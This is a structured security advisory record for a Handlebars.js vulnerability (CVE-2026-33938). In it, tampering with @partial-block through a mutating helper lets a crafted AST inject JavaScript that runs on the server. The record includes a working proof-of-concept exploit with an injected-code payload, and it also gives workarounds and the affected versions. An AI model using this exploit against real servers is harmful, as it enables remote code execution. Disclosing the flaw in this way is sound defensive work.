{"id":"GHSA-3mfm-83xf-c92r","summary":"Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block","details":"## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field — breaks out of generated function call\n          depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.","aliases":["CVE-2026-33938"],"modified":"2026-07-17T21:11:57.691848815Z","published":"2026-03-27T18:20:44Z","database_specific":{"cwe_ids":["CWE-843","CWE-94"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-27T18:20:44Z","nvd_published_at":"2026-03-27T21:17:27Z"},"references":[{"type":"WEB","url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33938"},{"type":"WEB","url":"https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"},{"type":"PACKAGE","url":"https://github.com/handlebars-lang/handlebars.js"},{"type":"WEB","url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"}],"affected":[{"package":{"name":"handlebars","ecosystem":"npm","purl":"pkg:npm/handlebars"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.7.9"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 4.7.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3mfm-83xf-c92r/GHSA-3mfm-83xf-c92r.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}